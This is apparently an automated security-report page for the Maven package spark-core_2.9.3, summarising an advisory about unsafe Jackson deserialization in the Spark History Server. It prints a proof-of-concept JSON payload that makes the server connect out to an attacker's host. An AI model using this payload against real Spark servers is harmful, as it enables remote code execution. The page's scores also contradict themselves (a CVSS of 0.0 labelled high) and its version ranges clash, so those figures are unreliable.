maven package report

Is org.apache.spark:spark-core_2.9.3 safe?

2 known vulnerabilities, worst severity HIGH.

// reach

0 direct dependencies

none carry a known advisory

    0 packages depend on it

    an advisory here reaches each of them

      Create a free accountfor every dependency path, dependent and what to upgrade
      // ai model usage

      Tracked for PyPI packages. HuggingFace models declare Python dependencies, so maven packages are not covered.


      cvss
      0.0
      high

      severity out of 10

      epss
      0.00%
      medium

      chance of exploitation in 30 days, 92nd percentile of all CVEs

      xyz score
      not scored

      CyberXYZ composite out of 10

      fig. 01 — GHSA-jwp6-cvj8-fw65, the advisory selected below

      // 2 advisories

      GHSA-jwp6-cvj8-fw65

      HIGHCVE-2025-54920

      This issue affects Apache Spark: before 3.5.7 and 4.0.1. Users are recommended to upgrade to version 3.5.7 or 4.0.1 and above, which fixes the issue.

      // summary

      Apache Spark 3.5.4 and earlier versions contain a code execution vulnerability in the Spark History Web UI due to overly permissive Jackson deserialization of event log data. This allows an attacker with access to the Spark event logs directory to inject malicious JSON payloads that trigger deserialization of arbitrary classes, enabling command execution on the host running the Spark History Server.

      // details

      The vulnerability arises because the Spark History Server uses Jackson polymorphic deserialization with @JsonTypeInfo.Id.CLASS on SparkListenerEvent objects, allowing an attacker to specify arbitrary class names in the event JSON. This behavior permits instantiating unintended classes, such as org.apache.hive.jdbc.HiveConnection, which can perform network calls or other malicious actions during deserialization.

      The attacker can exploit this by injecting crafted JSON content into the Spark event log files, which the History Server then deserializes on startup or when loading event logs. For example, the attacker can force the History Server to open a JDBC connection to a remote attacker-controlled server, demonstrating remote command injection capability.

      // proof of concept:
      • Run Spark with event logging enabled, writing to a writable directory (spark-logs).
      • Inject the following JSON at the beginning of an event log file:
      {
      
        "Event": "org.apache.hive.jdbc.HiveConnection",
        "uri": "jdbc:hive2://:/",
        "info": {
          "hive.metastore.uris": "thrift://:"
        }
      }
      • Start the Spark History Server with logs pointing to the modified directory.
      • The Spark History Server initiates a JDBC connection to the attacker’s server, confirming the injection.
      // impact

      An attacker with write access to Spark event logs can execute arbitrary code on the server running the History Server, potentially compromising the entire system.

      // cvss v3.1 vector

      CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

      Attack vector
      Network
      Attack complexity
      Low
      Privileges required
      Low
      User interaction
      None
      Scope
      Unchanged
      Confidentiality
      High
      Integrity
      High
      Availability
      High

      Checked 2026-09-27 at 21:40 UTC. The most recent advisory here was published 2026-03-16. Updated continuously from NVD, GHSA, OSV and CNA feeds.

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